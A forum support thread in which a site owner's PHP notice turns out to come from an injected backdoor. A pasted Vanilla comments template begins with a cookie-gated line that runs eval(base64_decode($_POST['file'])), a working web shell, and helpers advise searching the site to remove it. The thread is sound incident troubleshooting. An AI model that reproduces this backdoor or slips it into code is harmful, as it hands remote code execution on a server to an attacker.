Vanilla 1 is no longer supported or maintained. If you need a copy, you can get it here.
HackerOne users: Testing against this community violates our program's Terms of Service and will result in your bounty being denied.
wp_debugger error
Hi--
I didn't change anything on idrinkyourmilkshake.com and suddenly get the following error on top of the page:
Notice: Undefined index: _wp_debugger in /home/jurgenfa/public_html/idrinkyourmilkshake.com/extensions/comments_permalinks/default.php on line 1
Does anybody have any advice on how to fix this? Thank you much!!
Jurgen
I didn't change anything on idrinkyourmilkshake.com and suddenly get the following error on top of the page:
Notice: Undefined index: _wp_debugger in /home/jurgenfa/public_html/idrinkyourmilkshake.com/extensions/comments_permalinks/default.php on line 1
Does anybody have any advice on how to fix this? Thank you much!!
Jurgen
0
This discussion has been closed.
Comments
/home/jurgenfa/.../themes/comments.php
look like on line 1? Post the code in context (5 lines surrounding the line in question and inside <code> tags).If I had to guess without looking at anything, I'd say you have something in your
php.ini
file toauto_prepend_file
or something and it's what's really causing the error. If you're on shared hosting, you might want to ask them if this they've changed anything related to this.<?php if(md5($_COOKIE['_wp_debugger'])=="c4460c548c319f361cd75496359cc674"){ eval(base64_decode($_POST['file'])); exit; } ?><?php // Note: This file is included from the library/Vanilla/Vanilla.Control.CommentGrid.php class. $CommentList = ''; if ($this->Context->WarningCollector->Count() > 0) { $CommentList .= '<div class="ErrorContainer"> <div class="ErrorTitle">'.$this->Context->GetDefinition('ErrorTitle').'</div>' .$this->Context->WarningCollector->GetMessages() .'</div>'; } else { $PageDetails = $this->pl->GetPageDetails($this->Context); $PageList = $this->pl->GetNumericList(); $SessionPostBackKey = $this->Context->Session->GetVariable('SessionPostBackKey', 'string'); $CommentList .= '<div class="ContentInfo Top"> <h1>'; if ($this->Context->Configuration['USE_CATEGORIES']) $CommentList .= '<a href="'.GetUrl($this->Context->Configuration, 'index.php', '', 'CategoryID', $this->Discussion->CategoryID).'">'.$this->Discussion->Category.'</a>: '; $CommentList .= DiscussionPrefix($this->Context, $this->Discussion).' '; if ($this->Discussion->WhisperUserID > 0) { $CommentList .= $this->Discussion->WhisperUsername.': '; } $CommentList .= $this->Discussion->Name .'</h1> <a href="#pgbottom">'.$this->Context->GetDefinition('BottomOfPage').'</a> <div class="PageInfo"> <p>'.$PageDetails.'</p> '.$PageList.' </div> </div>
I'll try to fix the file and I'll search the rest of the site for more instances.
Usually,
_wp_
anything means it's wordpress-related (not always). But you'll want definitely want to scrub your files for this exploit (a full-text search for _wp_debugger should do it).If I read the article WallPhone linked correctly, this issue still exists in 2.5.